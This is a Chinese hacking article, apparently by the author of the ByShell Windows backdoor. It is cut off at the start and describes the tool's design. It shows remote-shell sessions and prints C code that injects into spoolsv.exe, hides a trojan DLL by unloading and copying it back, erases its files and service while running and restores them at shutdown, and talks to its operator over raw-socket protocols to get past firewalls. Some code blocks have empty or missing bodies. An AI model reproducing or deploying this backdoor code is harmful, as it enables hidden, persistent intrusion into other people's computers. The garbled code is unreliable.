2004-10-01 19:24 <DIR> Inetpub
2004-11-17 20:56 <DIR> Intel
2004-10-30 14:18 24,576 isapilog.dll
2004-11-11 00:55 24,576 magic_asp.dll
2005-02-07 21:47 <DIR> My Music
2004-12-21 00:05 124 Operate.ini
2005-01-18 22:38 <DIR> Program Files
2005-02-07 23:31 <DIR> ubackup
2005-02-02 17:54 <DIR> WINNT
3 個(gè)文件 49,276 字節(jié)
7 個(gè)目錄 124,207,104 可用字節(jié)
2.獲得并結(jié)束Shell:
#shell
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版權(quán)所有 1985-2000 Microsoft Corp.
C:WINNTsystem32>cd..
cd..
C:WINNT>cd..
cd..
C:>dir
dir
驅(qū)動(dòng)器 C 中的卷沒(méi)有標(biāo)簽。
卷的序列號(hào)是 CCB2-D751
C: 的目錄
……省略
3 個(gè)文件 49,276 字節(jié)
7 個(gè)目錄 124,207,104 可用字節(jié)
C:>endshell
shell terminated
#byver
ByShell server version 0.63
Released Dec 19,2004 Copyleft@ "by" co.ltd.
3.進(jìn)程列舉與Kill。這里有BUG,排列不整齊。
#pslist
process:
pid filename num_thread parentpid
8 System 43 0
184 smss.exe 6 8
208 csrss.exe 11 184
232 winlogon.exe 19 184
260 services.exe 31 232
272 lsass.exe 17 232
456 svchost.exe 11 260
488 SPOOLSV.EXE 14 260
524 msdtc.exe 21 260
636 svchost.exe 18 260
656 llssrv.exe 9 260
688 sqlservr.exe 28 260
776 winmgmt.exe 3 260
812 dfssvc.exe 2 260
832 inetinfo.exe 29 260
856 mssearch.exe 6 260
1224 svchost.exe 11 260
1176 explorer.exe 19 1172
1356 igfxtray.exe 2 1176
1404 PFWMain.exe 4 1176
1412 SOUNDMAN.EXE 2 1176
1428 realsched.exe 4 1176
1436 internat.exe 1 1176
1444 sqlmangr.exe 3 1176
1280 BitComet.exe 9 1176
328 notepad.exe 2 1176
1196 MDM.EXE 5 456
1512 conime.exe 1 1088
1520 cmd.exe 1 488
1504 by063cli.exe 1 1176
#pskill1428
OK,job was done,cuz we have localsystem & SE_DEBUG_NAME:)
#modlist1520
mods of 1520:
module_id module_name module_path
1 ntdll.dll C:WINNTSystem32ntdll.dll
1 KERNEL32.dll C:WINNTsystem32KERNEL32.dll
1 USER32.dll C:WINNTsystem32USER32.dll
1 GDI32.DLL C:WINNTsystem32GDI32.DLL
1 ADVAPI32.dll C:WINNTsystem32ADVAPI32.dll
1 RPCRT4.DLL C:WINNTsystem32RPCRT4.DLL
1 MSVCRT.dll C:WINNTsystem32MSVCRT.dll
1 IMM32.DLL C:WINNTSystem32IMM32.DLL
#
好了,就介紹這三個(gè)最普通的功能吧。其實(shí)在很多場(chǎng)合,這三個(gè)功能是最基本的功能,也是最難確保穩(wěn)定性的三個(gè)問(wèn)題疑難,不過(guò)這個(gè)后門最突出的特色應(yīng)該是無(wú)進(jìn)程、無(wú)DLL、無(wú)硬盤文件、無(wú)啟動(dòng)項(xiàng)的實(shí)現(xiàn),在實(shí)際的使用過(guò)程中相信大家會(huì)發(fā)現(xiàn)它的優(yōu)點(diǎn),下面我們從設(shè)計(jì)和編程的角度來(lái)看這些功能是如何實(shí)現(xiàn)的。
設(shè)計(jì)&編程
在這一部分中我不列舉完整的代碼,因?yàn)樗L(zhǎng)了,我將引用關(guān)鍵代碼來(lái)說(shuō)明編寫思路。
首先是怎樣隱藏自身的進(jìn)程?一個(gè)普遍采用的方法就是遠(yuǎn)程線程注射。但它最大的問(wèn)題是注射代碼到了遠(yuǎn)程進(jìn)程的地址空間后,由于地址空間的變化,依賴于原來(lái)地址空間的所有直接尋址指令需要重定位。這點(diǎn)對(duì)匯編老手來(lái)手是很容易理解的,對(duì)高級(jí)語(yǔ)言程序編寫者來(lái)說(shuō)這意味著所有顯式和非顯式的全局變量(如API地址和字符串)都需要進(jìn)行手工重定位。
相比于病毒程序,我們很幸福,因?yàn)槲覀兊牡淖⑸淦骺梢酝瑫r(shí)向遠(yuǎn)程進(jìn)程注射一個(gè)“全局變量塊”,再把這個(gè)塊的地址傳送到遠(yuǎn)程函數(shù),然后在遠(yuǎn)程函數(shù)中使用這個(gè)塊來(lái)替代直接尋址的全局變量,從而免于編寫完全“自身可重定位”的代碼。后者被認(rèn)為是非常煩瑣并且?guī)缀鯚o(wú)法用高級(jí)語(yǔ)言實(shí)現(xiàn)的。但即使是這樣,編寫可以重定位的代碼復(fù)雜度仍然比較大,寫功能模塊比較多的后門程序?qū)?huì)非常累。農(nóng)民前輩的Cmdbind2實(shí)現(xiàn)了完全手工重定位的注射后門,我們看他的源代碼可以發(fā)現(xiàn)他僅僅在實(shí)現(xiàn)最普通的Bind Shell上就花費(fèi)了很多代碼,像ByShell v0.64這樣的功能復(fù)雜的后門,如果也這樣實(shí)現(xiàn)功能的話,無(wú)疑是難以想象的。
取代直接編寫可重定位代碼的普遍方法是在注射進(jìn)入遠(yuǎn)程進(jìn)程的函數(shù)中加載一個(gè)DLL,這樣的話系統(tǒng)將為你做重定位工作,后門主要功能實(shí)現(xiàn)在DLL中。例如以前的黑防中,單長(zhǎng)虹介紹過(guò)這種方法。這種方法也有一個(gè)小弊端就是管理員在審核被你注射的進(jìn)程時(shí)會(huì)發(fā)現(xiàn)一個(gè)不明的DLL從而導(dǎo)致后門暴露。農(nóng)民前輩提出了一種思路,先加載DLL,然后把這一塊內(nèi)存全部拷貝到其它地方,卸載DLL,再申請(qǐng)與原來(lái)加載DLL相同的地址空間,把其它地方“寄存”的DLL代碼拷貝回這個(gè)空間。然后直接調(diào)用這個(gè)DLL,就解決了所有的重定位問(wèn)題,還不會(huì)在被注射進(jìn)程的加載模塊列表里出現(xiàn)我們的DLL。農(nóng)民前輩并沒(méi)有實(shí)現(xiàn)他的想法為代碼,一會(huì)給出我用這種方法實(shí)現(xiàn)的主要代碼。
進(jìn)行比較討論時(shí)我們也來(lái)討論其它的系統(tǒng)級(jí)隱藏進(jìn)程方法。Bingle采用替代Svchost啟動(dòng)的DLL服務(wù)的方法來(lái)加載后門,ZXshell也使用了這種方法。這種方法的主要問(wèn)題是不穩(wěn)定,必須改寫注冊(cè)表敏感鍵值并在Svchost.exe的加載模塊中出現(xiàn)不明模塊。當(dāng)然如果用和原來(lái)同名的木馬DLL來(lái)替代原來(lái)的DLL可以避免以上問(wèn)題,但是又會(huì)遇到新的問(wèn)題,就是怎樣繞過(guò)Windows的系統(tǒng)文件保護(hù)和管理員例行的系統(tǒng)文件完整性檢查。
Hxdef統(tǒng)一采用Hook ring3 API(主要是Ntdll.dll的NativeAPI)的方法完成自身各個(gè)方面的隱藏。這種方法對(duì)于一般的Ring3檢查效果很好,并且可以部分實(shí)現(xiàn)端口復(fù)用。它的主要問(wèn)題有Ring3下Hook的手段不多,而且比較“興師動(dòng)眾”(Hxdef向系統(tǒng)中所有進(jìn)程注射木馬數(shù)據(jù)),效果還不是很好,極易被Ring0的RootKit Detector發(fā)現(xiàn),如ICESWORD。最后還有就是編程煩瑣。
我選用了注射遠(yuǎn)程進(jìn)程Spoolsv.exe,假脫機(jī)打印服務(wù)的方法,并且在注射到遠(yuǎn)程的函數(shù)中加載然后卸載了一個(gè)木馬DLL——Ntboot.dll,注射器則是Ntboot.exe。請(qǐng)看代碼:
void injcode(){HANDLE prohandle;//注射對(duì)象進(jìn)程句柄
DWORD pid=0;//對(duì)象進(jìn)程PID
int ret; //臨時(shí)變量
//使用toolhelp32函數(shù)得到注射對(duì)象PID
Sleep(1000);
HANDLE snapshot;
snapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
struct tagPROCESSENTRY32 processsnap; processsnap.dwSize=sizeof(tagPROCESSENTRY32);
char injexe[]="spoolsv.exe";//注射對(duì)象進(jìn)程,大家可以自己改
for(Process32First(snapshot,&processsnap);
Process32Next(snapshot,&processsnap);)
}
CloseHandle(snapshot);//得到PID
//取得SE_DEBUG_NAME權(quán)限
HANDLE hToken;
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME,&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,0,&tp, sizeof(tp),0,0);
//現(xiàn)在注射
prohandle=OpenProcess(PROCESS_ALL_ACCESS,1,pid);
DWORD WINAPI injfunc(LPVOID);//Injfunc就是注射的函數(shù),需要手工重定位
//下面取得需要用的API地址并寫進(jìn)將要注射的全局變量塊,Injapistr是全局結(jié)構(gòu),是全局變量塊的內(nèi)容
HMODULE hModule;
LPVOID paramaddr;//全局變量塊地址
hModule=LoadLibrary("kernel32.dll");
injapistr.myLoadLibrary=(struct HINSTANCE__ *(__stdcall *)(const char *))GetProcAddress(hModule,"LoadLibraryA");
injapistr.myGetProcAddress=(FARPROC (__stdcall*)(HMODULE,LPCTSTR))GetProcAddress(hModule,"GetProcAddress");
injapistr.myVirtualAlloc=(void *(__stdcall *)(void *,unsigned long,unsigned long,unsigned long))GetProcAddress(hModule,"VirtualAlloc");
injapistr.myFreeLibrary=(int (__stdcall *)(struct HINSTANCE__ *))GetProcAddress(hModule,"FreeLibrary");
injapistr.myIsBadReadPtr=(int (__stdcall *)(const void *,unsigned int))GetProcAddress(hModule,"IsBadReadPtr");
injapistr.myVirtualFree=(int (__stdcall *)(void *,unsigned long,unsigned long))GetProcAddress(hModule,"VirtualFree");
//在目標(biāo)進(jìn)程里分配“全局變量塊”,并寫入API地址
paramaddr=VirtualAllocEx(prohandle,0,sizeof(injapistr),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
ret=WriteProcessMemory(prohandle,paramaddr,&injapistr,sizeof(injapistr),0);
//寫入Injfunc函數(shù)
void* injfuncaddr=VirtualAllocEx(prohandle,0,20000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
ret=WriteProcessMemory(prohandle,injfuncaddr,injfunc,20000,0);
//激活遠(yuǎn)程線程
CreateRemoteThread(prohandle,0,0,(DWORD (WINAPI *)(void *))injfuncaddr,paramaddr,0,0);
CloseHandle(prohandle);
return;
}
//注射到遠(yuǎn)程的函數(shù),負(fù)責(zé)完成加載和卸載功能復(fù)雜的木馬DLL的艱巨任務(wù)
DWORD WINAPI injfunc(LPVOID paramaddr){
//paramaddr,全局變量塊首址。所有靜態(tài)全局變量都需要重定位(直接尋址的),而動(dòng)態(tài)分配(堆,Virtualalloc)和棧變量不需要,因?yàn)樗麄兪褂瞄g接尋址。其實(shí)字符串也可以在剛才寫進(jìn)全局變量塊,但是字符串不多,這里直接用ASM搞定。
char ntboot[16];
char msgbox[16];//變量名字起錯(cuò)了,應(yīng)該是DLL的后門主函數(shù)名。汗,希望不要誤導(dǎo)大家。
INJAPISTR * pinjapistr=(INJAPISTR *)paramaddr;
__asm{
mov ntboot,'n'
mov ntboot+1,'t'
mov ntboot+2,'b'
mov ntboot+3,'o'
mov ntboot+4,'o'
mov ntboot+5,'t'
mov ntboot+6,'.'
mov ntboot+7,'d'
mov ntboot+8,'l'
mov ntboot+9,'l'
mov ntboot+10,0
mov msgbox,'C'
mov msgbox+1,'m'
mov msgbox+2,'d'
mov msgbox+3,'S'
mov msgbox+4,'e'
mov msgbox+5,'r'
mov msgbox+6,'v'
mov msgbox+7,'i'
mov msgbox+8,'c'
mov msgbox+9,'e'
mov msgbox+10,0
}
HMODULE hModule=pinjapistr->myLoadLibrary(ntboot);//加載Ntboot.dll
DWORD (WINAPI *myCmdService)(LPVOID);//DLL后門的主函數(shù)名
myCmdService=(DWORD (WINAPI *)(LPVOID))(pinjapistr->myGetProcAddress(hModule,msgbox));
//各位看官,以下是精華了:
unsigned int memsize=0;
void * tempdll=pinjapistr->myVirtualAlloc(0,0x23000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
memcpy(tempdll,hModule,0x23000);
//0x23000是DLL的大小,不多不少。如果你改變了Ntboot.dll的大小請(qǐng)注意調(diào)整這個(gè)值
pinjapistr->myFreeLibrary(hModule);
hModule=(HMODULE)pinjapistr->myVirtualAlloc(hModule,0x23000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
memcpy(hModule,tempdll,0x23000);
pinjapistr->myVirtualFree(tempdll,0x23000,MEM_DECOMMIT);
//結(jié)束,DLL沒(méi)有被加載,但是又可以發(fā)揮作用,爽吧?!
myCmdService(0);//調(diào)用后門主函數(shù)。
return 0;
}
下一個(gè)問(wèn)題是啟動(dòng)項(xiàng)和文件。Ntboot.exe是后門的注射器,將自己作為服務(wù)啟動(dòng),我們決不能讓管理員發(fā)現(xiàn)服務(wù)鍵值。怎么辦?這個(gè)也是農(nóng)民前輩提出的思想:先刪除所有后門文件和服務(wù),設(shè)定一個(gè)關(guān)機(jī)通知和一個(gè)一鍵關(guān)機(jī)鉤子,在即將關(guān)機(jī)的時(shí)候?qū)懭胛募头?wù)項(xiàng)。同樣的,一開(kāi)機(jī)這個(gè)服務(wù)只要啟動(dòng)了就會(huì)先把自己刪除。這樣就實(shí)現(xiàn)了無(wú)文件和無(wú)啟動(dòng)項(xiàng)。管理員用注冊(cè)表對(duì)比將不能發(fā)現(xiàn)異常,也無(wú)處尋找我們的后門文件??匆幌略O(shè)定一個(gè)關(guān)機(jī)通知和一個(gè)一鍵關(guān)機(jī)鉤子的代碼:
DWORD WINAPI hookthread( LPVOID lpParam ){
MSG msg;int tmpret;char tmpstr[100];
LRESULT CALLBACK JournalRecordProc(int code,WPARAM wParam,LPARAM lParam);
msghook=SetWindowsHookEx(WH_JOURNALRECORD,JournalRecordProc,GetModuleHandle(0),0);
if(!msghook)
tmpret=SetConsoleCtrlHandler(HandlerRoutine,1);
if(!tmpret)
while (GetMessage(&msg, NULL, 0, 0)){void resume();
if(msg.message==WM_QUERYENDSESSION)
}
UnhookWindowsHookEx(msghook);
return 0;
}
BOOL WINAPI HandlerRoutine(DWORD dwCtrlType){void resume();
switch(dwCtrlType)
{
case CTRL_SHUTDOWN_EVENT:
resume();//resume函數(shù),顧名思義就是恢復(fù)文件啟動(dòng)項(xiàng)
break;
default:
break;
}
return 0;
}
LRESULT CALLBACK JournalRecordProc(int code,WPARAM wParam,LPARAM lParam){void resume();
if(code<0){return CallNextHookEx(msghook,code,wParam,lParam);}
if(code==HC_ACTION){
EVENTMSG * pevent=(EVENTMSG *)lParam;
if(pevent->message==WM_KEYDOWN && LOBYTE(pevent->paramL)==0xFF)
}
return CallNextHookEx(msghook,code,wParam,lParam);
}
與Hxdef的Hook文件注冊(cè)表的Native API相比,這種辦法的好處是根本就不存在文件,也不會(huì)有什么Ring0的Rootkit Detector發(fā)現(xiàn)被Hook API隱藏的文件和注冊(cè)表項(xiàng)。壞處是如果對(duì)方直接拔電源關(guān)機(jī)我們就“安息”了。于是我們就會(huì)安慰自己說(shuō):這個(gè)后門有足夠的隱蔽性,不會(huì)讓對(duì)方懷疑到中了后門,以至于采用掉電關(guān)機(jī)的BT手段。當(dāng)然如果你用Hxdef,那么相信我,現(xiàn)在的Rootkit Detector很普遍,Hxdef已經(jīng)成為眾矢之的了,在管理員檢查時(shí)也會(huì)“安息”得很快的。
最后是怎樣實(shí)現(xiàn)無(wú)端口(像用Rootkit隱藏掉端口那種不叫無(wú)端口。那種東西不但無(wú)法穿過(guò)防火墻還會(huì)在管理員掃描自己的機(jī)器時(shí)暴露),這是Byshell v0.64的弱項(xiàng),Ring3后門本來(lái)難有什么好辦法來(lái)進(jìn)行端口復(fù)用,使用Raw_socket監(jiān)聽(tīng)TCP只能做到Bits.dll那樣的“等待連接時(shí)無(wú)端口”;把自己加載成SPI基礎(chǔ)服務(wù)提供者或者分層服務(wù)提供者,可以截獲所有Ring3網(wǎng)絡(luò)通訊,但會(huì)在注冊(cè)表和系統(tǒng)中留下足夠多的信息從而導(dǎo)致我們后門“安息”。Hxdef的Hook系統(tǒng)中所有進(jìn)程的Recv/WSArecv方法雖然有不能復(fù)用Ring0端口如139,445的弊端,但還是現(xiàn)在看來(lái)比較好的Ring3端口復(fù)用的辦法。到現(xiàn)在為止,Byshell采取的方法是使用Socket_raw的自定義協(xié)議,就是非TCP非UDP協(xié)議進(jìn)行通訊,可以穿越大多軟件防火墻和一些硬件防火墻,但是它的弊端是不保證穿過(guò)所有防火墻,并且不支持Windows XP SP2,因?yàn)楹笳呷∠藢?duì)Socket_raw的支持。我的實(shí)現(xiàn)比較簡(jiǎn)單,就是用一個(gè)協(xié)議號(hào)224監(jiān)聽(tīng)連接和刷新,另一個(gè)協(xié)議號(hào)225傳輸后門數(shù)據(jù),很簡(jiǎn)單:
WSADATA WSAData;
WSAStartup(MAKEWORD(2,2),&WSAData);
SOCKET sock224=socket(AF_INET,SOCK_RAW,224);
sockaddr_in srvaddr;
memset(&srvaddr,0,sizeof(struct sockaddr_in));
srvaddr.sin_family= AF_INET;
srvaddr.sin_addr.S_un.S_addr =INADDR_ANY;
ret=bind(sock224,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr));
if(ret){goto label2;}
dwThreadId=0;char buff224[128];
DWORD WINAPI threadfunc( LPVOID lpParam );
HANDLE thrdhndl;
//建立225的連接線程
thrdhndl=CreateThread(0, 0, threadfunc, 0, 0, &dwThreadId);
//等待刷新
while(1){recvfrom(sock224,buff224,128,0,0,0);
if(!strncmp(buff224+32+sizeof(IP_HEADER),"+_)(*&^%$#@!~byrefreshbreak",27) && !strncmp(buff224+sizeof(IP_HEADER),pwd,strlen(pwd))){
TerminateThread(thrdhndl,0);goto label1;}
}
在225的代碼里我實(shí)現(xiàn)了簡(jiǎn)單的差錯(cuò)控制,代碼比較長(zhǎng)這里不列舉了,有興趣的朋友請(qǐng)看源代碼。由于這個(gè)復(fù)用方法不是非??煽?、穩(wěn)定,所以我公布了Byshell v0.63,它直接開(kāi)了一個(gè)TCP端口138,完全不符合后門要求,但是給大家用來(lái)作測(cè)試還是可以的。如果大家發(fā)現(xiàn)Byshell v0.64不是很穩(wěn)定可以試試v0.63。不過(guò)一個(gè)嚴(yán)重的失誤是我在Byshell v0.64的說(shuō)明書(shū)里漏了一個(gè)命令“refresh”,它可以清除萬(wàn)一出現(xiàn)的225連接死掉,并且給你機(jī)會(huì)重新連接。
最后就是Byshell實(shí)現(xiàn)了非常多的命令,比如查看系統(tǒng)信息、執(zhí)行命令、在后門連接中上傳下載,甚至還有SYN洪水攻擊。后門的功能模塊是Work()函數(shù),這樣便于進(jìn)行功能拓展和模塊化編程。針對(duì)它端口復(fù)用不理想的現(xiàn)狀,我會(huì)繼續(xù)升級(jí)。以后可能寫成Hxdef那樣的Ring3復(fù)用,也可能是Ring0的過(guò)濾驅(qū)動(dòng)之類的東西,也希望前輩們繼續(xù)指導(dǎo)我。
我的代碼風(fēng)格并不好,喜歡不分行和緊湊代碼,不過(guò)還是希望大家一起來(lái)開(kāi)發(fā)這個(gè)軟件。在這個(gè)后門的寫作中,3個(gè)人給了我很大的幫助,請(qǐng)?jiān)试S我占用篇幅來(lái)表示對(duì)他們的感謝。他們是谷夕(gxisone),黃鑫(glacier),當(dāng)然還有農(nóng)民,這個(gè)后門應(yīng)該是他們的功勞。
如果有問(wèn)題或者想和我交流,請(qǐng)Mail到baiyuanfan@163.com,謝謝大家對(duì)ByShell和我的關(guān)注和支持。
您可能感興趣的文章:
- shell對(duì)比文件內(nèi)容腳本分享
- 批量轉(zhuǎn)換目錄下文件編碼的shell腳本代碼
- linux下保留文件系統(tǒng)下剩余指定數(shù)目文件的shell腳本
- shell去掉文件中空行(空白行)的方法詳解
- shell判斷文件,目錄是否存在或者具有權(quán)限的代碼
- 使用ShellClass獲取文件屬性詳細(xì)信息的實(shí)現(xiàn)方法
- 判斷文件是否存在的shell腳本代碼
- 合并一個(gè)文件夾下多個(gè)文件內(nèi)容的單行shell命令
- 查找目錄下同名但不同后綴名文件的shell腳本代碼
- 在指定目錄查找指定后綴文件的shell腳本代碼
- shell查找當(dāng)前目錄下大于1M的文件的三種方法分享
- 后臺(tái)實(shí)時(shí)分流文件的shell腳本
- 找出文件中包含指定字段的文件的shell腳本
- Visual Style中的shellstyle.dll文件修改方法
- shell替換文件中的文件路徑腳本分享
相關(guān)文章
揭露88red生成htm靜態(tài)頁(yè)面企業(yè)建站系統(tǒng)漏洞
88red生成htm靜態(tài)頁(yè)面企業(yè)建站系統(tǒng)后門利用代碼,用88red做企業(yè)占的朋友可要注意了2008-05-05phpwind管理權(quán)限泄露漏洞利用程序發(fā)布
phpwind是國(guó)內(nèi)使用非常廣泛的一款程序,由于在程序設(shè)計(jì)上存在錯(cuò)誤,導(dǎo)致任何人可以取得前臺(tái)管理員及斑主權(quán)限,做刪除帖子等任意操作2008-06-06找出通病 通殺國(guó)內(nèi)軟件防火墻的弱點(diǎn)
找出通病 通殺國(guó)內(nèi)軟件防火墻的弱點(diǎn)...2007-01-01Windows 2003 Enterprise Edition IIS6 .ASP目錄執(zhí)行缺陷
Windows 2003 Enterprise Edition IIS6 .ASP目錄執(zhí)行缺陷...2007-02-02曉宇聽(tīng)幽網(wǎng)站內(nèi)容管理系統(tǒng) V2.0
曉宇聽(tīng)幽網(wǎng)站內(nèi)容管理系統(tǒng) V2.0...2007-01-01為動(dòng)網(wǎng)論壇添加一個(gè)密碼嗅探器(DVBBS)
為動(dòng)網(wǎng)論壇添加一個(gè)密碼嗅探器(DVBBS)...2007-01-01